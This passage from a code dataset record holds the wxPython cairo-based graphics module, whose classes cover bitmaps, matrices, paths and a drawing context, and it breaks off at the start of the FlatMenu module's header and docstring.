nctx.set_font_size(self._pointSize)\n\n \n#---------------------------------------------------------------------------\n\nclass GraphicsBitmap(GraphicsObject):\n \"\"\"\n A GraphicsBitmap is a wrapper around a cairo ImageSurface. It can\n be used as a source for drawing images, or as a target of drawing\n operations.\n \"\"\"\n def __init__(self, width=-1, height=-1, format=FORMAT_ARGB32):\n \"\"\"Create either a NULL GraphicsBitmap or an empty one if a size is given\"\"\"\n self._surface = None\n if width > 0 and height > 0:\n self._surface = cairo.ImageSurface(format, width, height)\n\n\n def IsNull(self):\n return self._surface is None\n\n \n @staticmethod\n def CreateFromBitmap(bitmap):\n \"\"\"Create a GraphicsBitmap from a wx.Bitmap\"\"\"\n b = GraphicsBitmap()\n b._surface = wx.lib.wxcairo.ImageSurfaceFromBitmap(bitmap)\n return b\n\n\n @staticmethod\n def CreateFromPNG(filename):\n \"\"\"Create a GraphicsBitmap from a PNG file\"\"\"\n b = GraphicsBitmap()\n b._surface = cairo.ImageSurface.create_from_png(filename)\n return b\n\n\n @staticmethod\n def CreateFromSurface(surface):\n \"\"\"Use an existing cairo ImageSurface as a GraphicsBitmap\"\"\"\n b = GraphicsBitmap()\n b._surface = surface\n return b\n\n\n @staticmethod\n def CreateFromBuffer(buffer, width, height,\n format=FORMAT_ARGB32, stride=-1):\n \"\"\"\n Creates a GraphicsBitmap that uses the given buffer object as\n the pixel storage. This means that the current contents of\n the buffer will be the initial state of the bitmap, and\n anything drawn to this surface will be stored in the given\n buffer.\n \"\"\"\n b = GraphicsBitmap()\n if stride == -1:\n try:\n stride = cairo.ImageSurface.format_stride_for_width(format, width)\n except AttributeError:\n stride = width * 4\n b._surface = cairo.ImageSurface.create_for_data(\n buffer, format, width, height, stride)\n\n # save a reference to the buffer to ensure that it lives as\n # long as this object does\n b._buffer = buffer\n return b\n \n\n @Property\n def Width():\n def fget(self):\n return self._surface.get_width()\n return locals()\n\n @Property\n def Height():\n def fget(self):\n return self._surface.get_height()\n return locals()\n\n @Property\n def Size():\n def fget(self):\n return (self.Width, self.Height)\n return locals()\n\n\n @Property\n def Format():\n def fget(self):\n return self._surface.get_format()\n return locals()\n\n @Property\n def Stride():\n def fget(self):\n return self._surface.get_stride()\n return locals()\n\n @Property\n def Surface():\n def fget(self):\n return self._surface\n return locals()\n\n \n#---------------------------------------------------------------------------\n\nclass GraphicsMatrix(GraphicsObject):\n \"\"\"\n A matrix holds an affine transformations, such as a scale,\n rotation, shear, or a combination of these, and is used to convert\n between different coordinante spaces.\n \"\"\"\n def __init__(self):\n self._matrix = cairo.Matrix()\n\n\n def Set(self, a=1.0, b=0.0, c=0.0, d=1.0, tx=0.0, ty=0.0):\n \"\"\"Set the componenets of the matrix by value, default values\n are the identity matrix.\"\"\"\n self._matrix = cairo.Matrix(a, b, c, d, tx, ty)\n\n\n def Get(self):\n \"\"\"Return the component values of the matrix as a tuple.\"\"\"\n return tuple(self._matrix)\n\n\n def GetNativeMatrix(self):\n return self._matrix\n\n\n def Concat(self, matrix):\n \"\"\"Concatenates the matrix passed with the current matrix.\"\"\"\n self._matrix = self._matrix * matrix._matrix\n return self\n\n\n def Invert(self):\n \"\"\"Inverts the matrix.\"\"\"\n self._matrix.invert()\n return self\n \n\n def IsEqual(self, matrix):\n \"\"\"Returns True if the elements of the transformation matricies are equal.\"\"\"\n return self._matrix == matrix._matrix\n \n\n def IsIdentity():\n \"\"\"Returns True if this is the identity matrix.\"\"\"\n return self._matrix == cairo.Matrix()\n\n\n def Rotate(self, angle):\n \"\"\"Rotates the matrix in radians\"\"\"\n self._matrix.rotate(angle)\n return self\n\n\n def Scale(self, xScale, yScale):\n \"\"\"Scale the matrix\"\"\"\n self._matrix.scale(xScale, yScale)\n return self\n\n\n def Translate(self, dx, dy):\n \"\"\"Translate the metrix. This shifts the origin.\"\"\"\n self._matrix.translate(dx, dy)\n return self\n\n\n def TransformPoint(self, x, y):\n \"\"\"Applies this matrix to a point and returns the result\"\"\"\n return self._matrix.transform_point(x, y)\n\n\n def TransformDistance(self, dx, dy):\n \"\"\"\n Applies this matrix to a distance (ie. performs all transforms\n except translations.)\n \"\"\"\n return self._matrix.transform_distance(dx, dy)\n\n\n def Clone(self):\n m = GraphicsMatrix()\n m.Set(*self.Get())\n return m\n \n#---------------------------------------------------------------------------\n\nclass GraphicsPath(GraphicsObject):\n \"\"\"\n A GraphicsPath is a representaion of a geometric path, essentially\n a collection of lines and curves. Paths can be used to define\n areas to be stroked and filled on a GraphicsContext.\n \"\"\"\n def __init__(self):\n # A path is essentially just a context that we use just for\n # collecting path moves, lines, and curves in order to apply\n # them to the real context. So we'll use a 1x1 image surface\n # for the backend, since we won't ever actually use it for\n # rendering in this context.\n surface = cairo.ImageSurface(FORMAT_ARGB32, 1, 1)\n self._pathContext = cairo.Context(surface)\n\n\n def AddArc(self, x, y, radius, startAngle, endAngle, clockwise=True):\n \"\"\"\n Adds an arc of a circle centering at (x,y) with radius, from\n startAngle to endAngle.\n \"\"\"\n # clockwise means positive in our system (y pointing downwards) \n if clockwise or endAngle-startAngle >= 2*math.pi:\n self._pathContext.arc(x, y, radius, startAngle, endAngle)\n else:\n self._pathContext.arc_negative(x, y, radius, startAngle, endAngle)\n return self\n\n\n def AddArcToPoint(self, x1, y1 , x2, y2, radius ):\n \"\"\"\n Adds a an arc to two tangents connecting (current) to (x1,y1)\n and (x1,y1) to (x2,y2), also a straight line from (current) to\n (x1,y1)\n \"\"\"\n current = wx.Point2D(*self.GetCurrentPoint())\n p1 = wx.Point2D(x1, y1)\n p2 = wx.Point2D(x2, y2)\n\n v1 = current - p1\n v1.Normalize()\n v2 = p2 - p1\n v2.Normalize()\n\n alpha = v1.GetVectorAngle() - v2.GetVectorAngle()\n if alpha < 0:\n alpha = 360 + alpha\n alpha = math.radians(alpha)\n\n dist = radius / math.sin(alpha/2) * math.cos(alpha/2)\n \n # calculate tangential points\n t1 = (v1 * dist) + p1\n t2 = (v2 * dist) + p1\n\n nv1 = wx.Point2D(*v1.Get())\n nv1.SetVectorAngle(v1.GetVectorAngle() - 90)\n c = t1 + nv1 * radius\n\n a1 = v1.GetVectorAngle() + 90\n a2 = v2.GetVectorAngle() - 90\n\n self.AddLineToPoint(t1.x, t1.y)\n self.AddArc(c.x, c.y, radius, math.radians(a1), math.radians(a2), True)\n self.AddLineToPoint(p2.x, p2.y)\n return self\n \n\n def AddCircle(self, x, y, radius):\n \"\"\"\n Appends a new closed sub-path as a circle around (x,y).\n \"\"\"\n self.MoveToPoint(x + radius, y)\n self.AddArc( x, y, radius, 0, 2*math.pi, False)\n self.CloseSubpath()\n return self\n\n\n def AddCurveToPoint(self, cx1, cy1, cx2, cy2, x, y):\n \"\"\"\n Adds a cubic Bezier curve from the current point, using two\n control points and an end point.\n \"\"\"\n self._pathContext.curve_to(cx1, cy1, cx2, cy2, x, y)\n return self\n\n\n def AddEllipse(self, x, y, w, h):\n \"\"\"\n Appends an elipse fitting into the given rectangle as a closed sub-path.\n \"\"\"\n rw = w / 2.0\n rh = h / 2.0\n xc = x + rw\n yc = y + rh\n m = GraphicsMatrix()\n m.Translate(xc, yc)\n m.Scale(rw / rh, 1.0)\n p = GraphicsPath()\n p.AddCircle(0,0, rh)\n p.Transform(m)\n self.AddPath(p)\n return self\n \n\n def AddLineToPoint(self, x, y):\n \"\"\"\n Adds a straight line from the current point to (x,y)\n \"\"\"\n self._pathContext.line_to(x, y)\n return self\n\n\n def AddPath(self, path):\n \"\"\"\n Appends the given path to this path.\n \"\"\"\n self._pathContext.append_path(path.GetNativePath())\n return self\n\n\n def AddQuadCurveToPoint(self, cx, cy, x, y):\n \"\"\"\n Adds a quadratic Bexier curve from the current point, using a\n control point and an end point.\n \"\"\"\n # calculate using degree elevation to a cubic bezier\n start = wx.Point2D()\n start.x, start.y = self.GetCurrentPoint()\n end = wx.Point2D(x, y)\n c = wx.Point2D(cx, cy)\n c1 = start * (1/3.0) + c * (2/3.0)\n c2 = c * (2/3.0) + end * (1/3.0)\n self.AddCurveToPoint(c1.x, c1.y, c2.x, c2.y, x, y);\n return self\n \n\n def AddRectangle(self, x, y, w, h):\n \"\"\"\n Adds a new rectanlge as a closed sub-path.\n \"\"\"\n self._pathContext.rectangle(x, y, w, h)\n return self\n\n\n def AddRoundedRectangle(self, x, y, w, h, radius):\n \"\"\"\n Adds a new rounded rectanlge as a closed sub-path.\n \"\"\"\n if radius == 0:\n self.AddRectangle(x,y,w,h)\n else:\n self.MoveToPoint( x + w, y + h / 2.0)\n self.AddArcToPoint(x + w, y + h, x + w / 2.0, y + h, radius)\n self.AddArcToPoint(x, y + h, x, y + h / 2.0, radius)\n self.AddArcToPoint(x, y , x + w / 2.0, y, radius)\n self.AddArcToPoint(x + w, y, x + w, y + h / 2.0, radius)\n self.CloseSubpath()\n return self\n \n\n def CloseSubpath(self):\n \"\"\"\n Adds a line segment to the path from the current point to the\n beginning of the current sub-path, and closes this sub-path.\n \"\"\"\n self._pathContext.close_path()\n return self\n\n\n def Contains(self, x, y, fillStyle=wx.ODDEVEN_RULE):\n \"\"\"\n Returns True if the point lies within the path.\n \"\"\"\n d = { wx.WINDING_RULE : cairo.FILL_RULE_WINDING,\n wx.ODDEVEN_RULE : cairo.FILL_RULE_EVEN_ODD }\n rule = d[fillStyle]\n self._pathContext.set_fill_rule(rule)\n return self._pathContext.in_stroke(x,y) or self._pathContext.in_fill(x,y)\n \n\n def GetCurrentPoint(self):\n \"\"\"\n Gets the current point of the path, which is conceptually the\n final point reached by the last path operation.\n \"\"\"\n return self._pathContext.get_current_point()\n\n\n def GetNativePath(self):\n \"\"\"\n Returns the path as a cairo.Path object.\n \"\"\"\n return self._pathContext.copy_path()\n\n\n def MoveToPoint(self, x, y):\n \"\"\"\n Begins a new sub-path at (x,y) by moving the \"current point\" there.\n \"\"\"\n self._pathContext.move_to(x, y)\n return self\n\n\n def Transform(self, matrix):\n \"\"\"\n Transforms each point in this path by the matirx\n \"\"\"\n # as we don't have a true path object, we have to apply the\n # inverse matrix to the context\n # TODO: should we clone the matrix before inverting it?\n m = matrix.GetNativeMatrix()\n m.invert()\n self._pathContext.transform(m)\n return self\n\n\n def Clone(self):\n \"\"\"\n Return a new path initialized with the current contents of this path.\n \"\"\"\n p = GraphicsPath()\n p.AddPath(self)\n return p\n\n\n def GetBox(self):\n \"\"\"\n Return the bounding box enclosing all points on this path.\n \"\"\"\n x1,y1,x2,y2 = self._pathContext.stroke_extents()\n if x2 < x1:\n x = x2\n w = x1 - x2\n else:\n x = x1\n w = x2 - x1\n\n if y2 < y1:\n y = y2\n h = y1 - y2\n else:\n y = y1\n h = y2 - y1\n return (x, y, w, h)\n\n \n#---------------------------------------------------------------------------\n\nclass GraphicsContext(GraphicsObject):\n \"\"\"\n The GraphicsContext is the object which facilitates drawing to a surface.\n \"\"\"\n def __init__(self, context=None):\n self._context = context\n self._pen = None\n self._brush = None\n self._font = None\n self._fontColour = None\n \n\n def IsNull(self):\n return self._context is None\n\n \n @staticmethod\n def Create(dc):\n # TODO: Support creating directly from a wx.Window too.\n assert isinstance(dc, wx.DC)\n ctx = wx.lib.wxcairo.ContextFromDC(dc)\n return GraphicsContext(ctx)\n\n @staticmethod\n def CreateFromNative(cairoContext):\n return GraphicsContext(cairoContext)\n\n @staticmethod\n def CreateMeasuringContext():\n \"\"\"\n If you need a temporary context just to quickly measure some\n text extents, or etc. then using this function will be a\n little less expensive than creating a real DC for it.\n \"\"\"\n surface = cairo.ImageSurface(FORMAT_ARGB32, 1, 1)\n ctx = cairo.Context(surface)\n return GraphicsContext(ctx)\n\n @staticmethod\n def CreateFromSurface(surface):\n \"\"\"\n Wrap a context around the given cairo Surface. Note that a\n GraphicsBitmap contains a cairo ImageSurface which is\n accessible via the Surface property. \n \"\"\"\n return GraphicsContext(cairo.Context(surface))\n\n\n @Property\n def Context():\n def fget(self):\n return self._context\n return locals()\n\n\n # Our implementation is able to create these things direclty, but\n # we'll keep them here too for compatibility with wx.GraphicsContext.\n \n def CreateBrush(self, brush):\n \"\"\"\n Create a brush from a wx.Brush.\n \"\"\"\n return GraphicsBrush.CreateFromBrush(brush)\n\n def CreateFont(self, font, colour=None):\n \"\"\"\n Create a font from a wx.Font\n \"\"\"\n return GraphicsFont.CreateFromFont(font, colour)\n\n\n def CreateLinearGradientBrush(self, x1, y1, x2, y2, c1, c2):\n \"\"\"\n Create a gradient brush that morphs from colour c1 at (x1,y1)\n to colour c2 at (x2,y2).\n \"\"\"\n c1 = _makeColour(c1)\n c2 = _makeColour(c2)\n pattern = cairo.LinearGradient(x1, y1, x2, y2)\n pattern.add_color_stop_rgba(0.0, *_colourToValues(c1))\n pattern.add_color_stop_rgba(1.0, *_colourToValues(c2))\n return GraphicsBrush.CreateFromPattern(pattern)\n\n def CreateRadialGradientBrush(self, xo, yo, xc, yc, radius, oColour, cColour):\n \"\"\"\n Creates a brush with a radial gradient originating at (xo,yo)\n with colour oColour and ends on a circle around (xc,yc) with\n radius r and colour cColour.\n \"\"\"\n oColour = _makeColour(oColour)\n cColour = _makeColour(cColour)\n pattern = cairo.RadialGradient(xo, yo, 0.0, xc, yc, radius)\n pattern.add_color_stop_rgba(0.0, *_colourToValues(oColour))\n pattern.add_color_stop_rgba(1.0, *_colourToValues(cColour))\n return GraphicsBrush.CreateFromPattern(pattern)\n\n \n def CreateMatrix(self, a=1.0, b=0, c=0, d=1.0, tx=0, ty=0):\n \"\"\"\n Create a new matrix object.\n \"\"\"\n m = GraphicsMatrix()\n m.Set(a, b, c, d, tx, ty)\n return m\n \n def CreatePath(self):\n \"\"\"\n Create a new path obejct.\n \"\"\"\n return GraphicsPath()\n\n def CreatePen(self, pen):\n \"\"\"\n Create a new pen from a wx.Pen.\n \"\"\"\n return GraphicsPen.CreateFromPen(pen)\n\n\n\n\n def PushState(self):\n \"\"\"\n Makes a copy of the current state of the context and saves it\n on an internal stack of saved states. The saved state will be\n restored when PopState is called.\n \"\"\"\n self._context.save()\n\n def PopState(self):\n \"\"\"\n Restore the most recently saved state which was saved with\n PushState.\n \"\"\"\n self._context.restore()\n \n\n def Clip(self, x, y, w, h):\n \"\"\"\n Adds the rectangle to the current clipping region. The\n clipping region causes drawing operations to be limited to the\n clipped areas of the context.\n \"\"\"\n p = GraphicsPath()\n p.AddRectangle(x, y, w, h)\n self._context.append_path(p.GetNativePath())\n self._context.clip()\n \n\n def ClipRegion(self, region):\n \"\"\"\n Adds the wx.Region to the current clipping region.\n \"\"\"\n p = GraphicsPath()\n ri = wx.RegionIterator(region)\n while ri:\n rect = ri.GetRect()\n p.AddRectangle( *rect )\n ri.Next()\n self._context.append_path(p.GetNativePath())\n self._context.clip()\n \n\n def ResetClip(self):\n \"\"\"\n Resets the clipping region to the original shape of the context.\n \"\"\"\n self._context.reset_clip()\n \n\n def GetNativeContext(self):\n return self._context\n\n\n # Since DC logical functions are conceptually different than\n # compositing operators don't pretend they are the same thing, or\n # try ot implement them using the compositing operators.\n def GetLogicalFunction(self):\n raise NotImplementedError(\"See GetCompositingOperator\")\n def SetLogicalFunction(self, function):\n raise NotImplementedError(\"See SetCompositingOperator\")\n\n\n def Translate(self, dx, dy):\n \"\"\"\n Modifies the current transformation matrix by translating the\n user-space origin by (dx, dy).\n \"\"\"\n self._context.translate(dx, dy)\n \n\n def Scale(self, xScale, yScale):\n \"\"\"\n Modifies the current transformation matrix by translating the\n user-space axes by xScale and yScale.\n \"\"\"\n self._context.scale(xScale, yScale)\n \n\n def Rotate(self, angle):\n \"\"\"\n Modifies the current transformation matrix by rotating the\n user-space axes by angle radians.\n \"\"\"\n self._context.rotate(angle)\n\n\n def ConcatTransform(self, matrix):\n \"\"\"\n Modifies the current transformation matrix by applying matrix\n as an additional transformation.\n \"\"\"\n self._context.transform(matrix.GetNativeMatrix())\n \n\n def SetTransform(self, matrix):\n \"\"\"\n Set the context's current transformation matrix to matrix.\n \"\"\"\n self._context.set_matrix(matrix.GetNativeMatrix())\n \n\n def GetTransform(self):\n \"\"\"\n Returns the context's current transformation matrix.\n \"\"\"\n gm = GraphicsMatrix()\n gm.Set( *tuple(self._context.get_matrix()) )\n return gm\n\n\n def SetPen(self, pen):\n \"\"\"\n Set the pen to be used for stroking lines in future drawing\n operations. Either a wx.Pen or a GraphicsPen object may be\n used.\n \"\"\"\n if isinstance(pen, wx.Pen):\n if not pen.Ok() or pen.Style == wx.TRANSPARENT:\n pen = None\n else:\n pen = GraphicsPen.CreateFromPen(pen)\n self._pen = pen\n \n\n def SetBrush(self, brush):\n \"\"\"\n Set the brush to be used for filling shapes in future drawing\n operations. Either a wx.Brush or a GraphicsBrush object may\n be used.\n \"\"\"\n if isinstance(brush, wx.Brush):\n if not brush.Ok() or brush.Style == wx.TRANSPARENT:\n brush = None\n else:\n brush = GraphicsBrush.CreateFromBrush(brush)\n self._brush = brush\n\n\n def SetFont(self, font, colour=None):\n \"\"\"\n Sets the font to be used for drawing text. Either a wx.Font\n or a GrpahicsFont may be used.\n \"\"\"\n if isinstance(font, wx.Font):\n font = GraphicsFont.CreateFromFont(font, colour)\n self._font = font\n if colour is not None:\n self._fontColour = _makeColour(colour)\n else:\n self._fontColour = font._colour\n \n\n def StrokePath(self, path):\n \"\"\"\n Strokes the path (draws the lines) using the current pen.\n \"\"\"\n if self._pen:\n offset = _OffsetHelper(self)\n self._context.append_path(path.GetNativePath())\n self._pen.Apply(self)\n self._context.stroke()\n \n \n def FillPath(self, path, fillStyle=wx.ODDEVEN_RULE):\n \"\"\"\n Fills the path using the current brush.\n \"\"\"\n if self._brush:\n offset = _OffsetHelper(self)\n self._context.append_path(path.GetNativePath())\n self._brush.Apply(self)\n d = { wx.WINDING_RULE : cairo.FILL_RULE_WINDING,\n wx.ODDEVEN_RULE : cairo.FILL_RULE_EVEN_ODD }\n rule = d[fillStyle]\n self._context.set_fill_rule(rule)\n self._context.fill()\n \n\n def DrawPath(self, path, fillStyle=wx.ODDEVEN_RULE):\n \"\"\"\n Draws the path by first filling it and then stroking it.\n \"\"\"\n # TODO: this could be optimized by moving the stroke and fill\n # code here and only loading the path once.\n self.FillPath(path, fillStyle)\n self.StrokePath(path)\n \n\n def DrawText(self, text, x, y, backgroundBrush=None):\n \"\"\"\n Draw the text at (x,y) using the current font. If\n backgroundBrush is set then it is used to fill the rectangle\n behind the text.\n \"\"\"\n if backgroundBrush:\n formerBrush = self._brush\n formerPen = self._pen\n self.SetBrush(backgroundBrush)\n self.SetPen(None)\n width, height = self.GetTextExtent(text)\n path = GraphicsPath()\n path.AddRectangle(x, y, width, height)\n self.FillPath(path)\n self._DrawText(text, x, y)\n self.SetBrush(formerBrush)\n self.SetPen(formerPen)\n\n else:\n self._DrawText(text, x, y)\n \n \n def _DrawText(self, text, x, y, angle=None):\n # helper used by DrawText and DrawRotatedText\n if angle is not None:\n self.PushState()\n self.Translate(x, y)\n self.Rotate(-angle)\n x = y = 0\n \n self._font.Apply(self, self._fontColour)\n # Cairo's x,y for drawing text is at the baseline, so we need to adjust\n # the position we move to by the ascent.\n fe = self._context.font_extents()\n ascent = fe[0]\n self._context.move_to( x, y + ascent )\n self._context.show_text(text)\n\n if angle is not None:\n self.PopState()\n \n\n def DrawRotatedText(self, text, x, y, angle, backgroundBrush=None):\n \"\"\"\n Draw the text at (x,y) using the current font and rotated\n angle radians. If backgroundBrush is set then it is used to\n fill the rectangle behind the text.\n \"\"\"\n if backgroundBrush:\n formerBrush = self._brush\n formerPen = self._pen\n self.SetBrush(backgroundBrush)\n self.SetPen(None)\n width, height = self.GetTextExtent(text)\n path = GraphicsPath()\n path.AddRectangle(0, 0, width, height)\n self.PushState()\n self.Translate(x, y)\n self.Rotate(-angle)\n self.FillPath(path)\n self.PopState()\n self._DrawText(text, x, y, angle)\n self.SetBrush(formerBrush)\n self.SetPen(formerPen)\n\n else:\n self._DrawText(text, x, y, angle)\n \n\n def GetFullTextExtent(self, text):\n \"\"\"\n Returns the (width, height, descent, externalLeading) of the\n text using the current font.\n \"\"\"\n if not text:\n return (0,0,0,0)\n\n self._font.Apply(self, self._fontColour)\n\n te = self._context.text_extents(text)\n width = te[2]\n\n fe = self._context.font_extents()\n height = fe[2]\n descent = fe[1]\n ascent = fe[0]\n externalLeading = max(0, height - (ascent + descent))\n\n return (width, height, descent, externalLeading)\n \n\n def GetTextExtent(self, text):\n \"\"\"\n Returns the (width, height) of the text using the current\n font.\n \"\"\"\n (width, height, descent, externalLeading) = self.GetFullTextExtent(text)\n return (width, height)\n\n \n def GetPartialTextExtents(self, text):\n raise NotImplementedError(\"TODO\")\n \n\n def DrawBitmap(self, bmp, x, y, w=-1, h=-1):\n \"\"\"\n Draw the bitmap at (x,y). If the width and height parameters\n are passed then the bitmap is scaled to fit that size. Either\n a wx.Bitmap or a GraphicsBitmap may be used.\n \"\"\"\n if isinstance(bmp, wx.Bitmap):\n bmp = GraphicsBitmap.CreateFromBitmap(bmp)\n\n # In case we're scaling the image by using a width and height\n # different than the bitmap's size, create a pattern\n # transformation on the surface and draw the transformed\n # pattern.\n self.PushState()\n pattern = cairo.SurfacePattern(bmp.Surface)\n\n bw, bh = bmp.Size\n if w == -1: w = bw\n if h == -1: h = bh\n scaleX = w / float(bw)\n scaleY = h / float(bh)\n\n self._context.scale(scaleX, scaleY)\n self._context.translate(x, y)\n self._context.set_source(pattern)\n\n # use the original size here since the context is scaled already...\n self._context.rectangle(0, 0, bw, bh)\n # fill the rectangle with the pattern\n self._context.fill()\n \n self.PopState()\n\n \n def DrawIcon(self, icon, x, y, w=-1, h=-1):\n raise NotImplementedError(\"TODO\")\n\n\n def StrokeLine(self, x1, y1, x2, y2):\n \"\"\"\n Strokes a single line using the current pen.\n \"\"\"\n path = GraphicsPath()\n path.MoveToPoint(x1, y1)\n path.AddLineToPoint(x2, y2)\n self.StrokePath(path)\n \n\n def StrokeLines(self, points):\n \"\"\"\n Stroke a series of conencted lines using the current pen.\n Points is a sequence of points or 2-tuples, and lines are\n drawn from point to point through the end of the sequence.\n \"\"\"\n path = GraphicsPath()\n x, y = points[0]\n path.MoveToPoint(x, y)\n for point in points[1:]:\n x, y = point\n path.AddLineToPoint(x, y)\n self.StrokePath(path)\n \n\n def StrokeLineSegments(self, beginPoints, endPoints):\n \"\"\"\n Stroke a series of lines using the current pen. For each line\n the begin point is taken from the beginPoints sequence and the\n ending point is taken from the endPoints sequence.\n \"\"\"\n path = GraphicsPath()\n for begin, end in zip(beginPoints, endPoints):\n path.MoveToPoint(begin[0], begin[1])\n path.AddLineToPoint(end[0], end[1])\n self.StrokePath(path)\n \n\n def DrawLines(self, points, fillStyle=wx.ODDEVEN_RULE):\n \"\"\"\n Stroke and fill a series of connected lines using the current\n pen and current brush.\n \"\"\"\n path = GraphicsPath()\n x, y = points[0]\n path.MoveToPoint(x, y)\n for point in points[1:]:\n x, y = point\n path.AddLineToPoint(x, y)\n self.DrawPath(path, fillStyle)\n\n\n def DrawRectangle(self, x, y, w, h):\n \"\"\"\n Stroke and fill a rectangle using the current pen and current\n brush.\n \"\"\"\n path = GraphicsPath()\n path.AddRectangle(x, y, w, h)\n self.DrawPath(path)\n\n\n def DrawEllipse(self, x, y, w, h):\n \"\"\"\n Stroke and fill an elipse that fits in the given rectangle,\n using the current pen and current brush.\n \"\"\"\n path = GraphicsPath()\n path.AddEllipse(x, y, w, h)\n self.DrawPath(path)\n\n \n def DrawRoundedRectangle(self, x, y, w, h, radius):\n \"\"\"\n Stroke and fill a rounded rectangle using the current pen and\n current brush.\n \"\"\"\n path = GraphicsPath()\n path.AddRoundedRectangle(x, y, w, h, radius)\n self.DrawPath(path)\n \n\n\n # Things not in wx.GraphicsContext\n\n def DrawCircle(self, x, y, radius):\n \"\"\"\n Stroke and fill a circle centered at (x,y) with the given\n radius, using the current pen and brush.\n \"\"\"\n path = GraphicsPath()\n path.AddCircle(x, y, radius)\n self.DrawPath(path)\n \n\n def ClipPath(self, path):\n \"\"\"\n Set the clip region to the path.\n \"\"\"\n self._context.append_path(path.GetNativePath())\n self._context.clip()\n\n \n def Clear(self, colour=None):\n \"\"\"\n Clear the context using the given color or the currently set brush.\n \"\"\"\n if colour is not None:\n brush = GraphicsBrush(colour)\n elif self._brush is None:\n brush = GraphicsBrush(wx.WHITE)\n else:\n brush = self._brush\n\n self.PushState()\n op = self._context.get_operator()\n self._context.set_operator(cairo.OPERATOR_SOURCE)\n self._context.reset_clip()\n\n brush.Apply(self)\n self._context.paint()\n \n self._context.set_operator(op)\n self.PopState()\n\n\n def GetCompositingOperator(self):\n \"\"\"\n Returns the current compositing operator for the context.\n \"\"\"\n return self._context.get_operator()\n\n def SetCompositingOperator(self, op):\n \"\"\"\n Sets the compositin operator to be used for all drawing\n operations. The default operator is OPERATOR_OVER.\n \"\"\"\n return self._context.set_operator(op)\n\n\n def GetAntialiasMode(self):\n \"\"\"\n Returns the current antialias mode.\n \"\"\"\n return self._context.get_antialias()\n\n def SetAntialiasMode(self, mode=ANTIALIAS_DEFAULT):\n \"\"\"\n Set the antialiasing mode of the rasterizer used for drawing\n shapes. This value is a hint, and a particular backend may or\n may not support a particular value.\n \"\"\"\n self._context.set_antialias(mode)\n\n \n#---------------------------------------------------------------------------\n# Utility functions\n\ndef _makeColour(colour):\n # make a wx.Color from any of the allowed typemaps (string, tuple,\n # etc.)\n if type(colour) == tuple:\n return wx.Colour(*colour)\n elif isinstance(colour, basestring):\n return wx.NamedColour(colour)\n else:\n return colour\n\n \ndef _colourToValues(c): \n # Convert wx.Colour components to a set of values between 0 and 1\n return tuple( [x/255.0 for x in c.Get(True)] )\n \n\n\nclass _OffsetHelper(object):\n def __init__(self, ctx):\n self.ctx = ctx\n self.offset = 0\n if ctx._pen:\n penwidth = ctx._pen.Width\n if penwidth == 0:\n penwidth = 1\n self.offset = (penwidth % 2) == 1;\n if self.offset:\n ctx.Translate(0.5, 0.5)\n\n def __del__(self):\n if self.offset:\n self.ctx.Translate(-0.5, -0.5)\n\n\n \ndef _stdDashes(style, width):\n if width < 1.0:\n width = 1.0\n \n if style == wx.DOT:\n dashes = [ width, width + 2.0]\n elif style == wx.DOT_DASH:\n dashes = [ 9.0, 6.0, 3.0, 3.0 ]\n elif style == wx.LONG_DASH:\n dashes = [ 19.0, 9.0 ]\n elif style == wx.SHORT_DASH:\n dashes = [ 9.0, 6.0 ]\n\n return dashes\n\n \n#---------------------------------------------------------------------------\n\n\n", "id": "5344931", "language": "Python", "matching_score": 3.349835157394409, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/graphics.py" }, { "content": "# --------------------------------------------------------------------------------- #\n# FLATMENU wxPython IMPLEMENTATION\n#\n# <NAME>, @ 03 Nov 2006\n# Latest Revision: 21 Sep 2010, 23.00 GMT\n#\n# TODO List\n#\n# 1. Work is still in progress, so other functionalities may be added in the future;\n# 2. No shadows under MAC, but it may be possible to create them using Carbon.\n#\n#\n# For All Kind Of Problems, Requests Of Enhancements And Bug Reports, Please\n# Write To Me At:\n#\n# <EMAIL>\n# <EMAIL>\n#\n# Or, Obviously, To The wxPython Mailing List!!!\n#\n#\n# End Of Comments\n# --------------------------------------------------------------------------------- #\n\n\"\"\"\nFlatMenu is a generic menu implementation.\n\n\nDescription\n===========\n\nFlatMenu, like the name implies, it is a generic menu implementation. \nI tried to provide a full functionality for menus, menubar and toolbar.\n\n\nFlatMenu supports the following features:\n\n- Fires all the events (UI & Cmd);\n- Check items;\n- Separators;\n- Enabled / Disabled menu items;\n- Images on items;\n- Toolbar support, with images and separators;\n- Controls in toolbar (work in progress);\n- Toolbar tools tooltips (done: thanks to Peter Kort);\n- Accelerators for menus;\n- Accelerators for menubar;\n- Radio items in menus;\n- Integration with AUI;\n- Scrolling when menu is too big to fit the screen;\n- Menu navigation with keyboard;\n- Drop down arrow button to the right of the menu, it always contains the\n \"Customize\" option, which will popup an options dialog. The dialog has the\n following abilities:\n\n (a) Ability to add/remove menus;\n (b) Select different colour schemes for the menu bar / toolbar;\n (c) Control various options, such as: colour for highlight menu item, draw\n border around menus (classic look only);\n (d) Toolbar floating appearance.\n \n- Allows user to specify grey bitmap for disabled menus/toolbar tools;\n- If no grey bitmap is provided, it generates one from the existing bitmap;\n- Hidden toolbar items / menu bar items - will appear in a small popmenu\n to the right if they are hidden;\n- 4 different colour schemes for the menu bar (more can easily added);\n- Scrolling is available if the menu height is greater than the screen height;\n- Context menus for menu items;\n- Show/hide the drop down arrow which allows the customization of FlatMenu;\n- Multiple columns menu window;\n- Tooltips for menus and toolbar items on a `wx.StatusBar` (if present);\n- Transparency (alpha channel) for menu windows (for platforms supporting it);\n- First attempt in adding controls to FlatToolbar;\n- Added a MiniBar (thanks to Vladiuz);\n- Added `wx.ToolBar` methods AddCheckTool/AddRadioTool (thanks to Vladiuz).\n \n\nSupported Platforms\n===================\n\nFlatMenu v0.8 has been tested on the following platforms:\n * Windows (Windows XP);\n * Linux Ubuntu (Dapper 6.06)\nv0.9.* has been tested on\n * Windows (Windows XP, Vista);\n\n\nWindow Styles\n=============\n\nThis class supports the following window styles:\n\n========================= =========== ==================================================\nWindow Styles Hex Value Description\n========================= =========== ==================================================\n``FM_OPT_IS_LCD`` 0x1 Use this style if your computer uses a LCD screen.\n``FM_OPT_MINIBAR`` 0x2 Use this if you plan to use the toolbar only.\n``FM_OPT_SHOW_CUSTOMIZE`` 0x4 Show \"customize link\" in the `More` menu, you will need to write your own handler. See demo.\n``FM_OPT_SHOW_TOOLBAR`` 0x8 Set this option is you are planning to use the toolbar.\n========================= =========== ==================================================\n\n\nEvents Processing\n=================\n\nThis class processes the following events:\n\n================================= ==================================================\nEvent Name Description\n================================= ==================================================\n``EVT_FLAT_MENU_DISMISSED`` Used 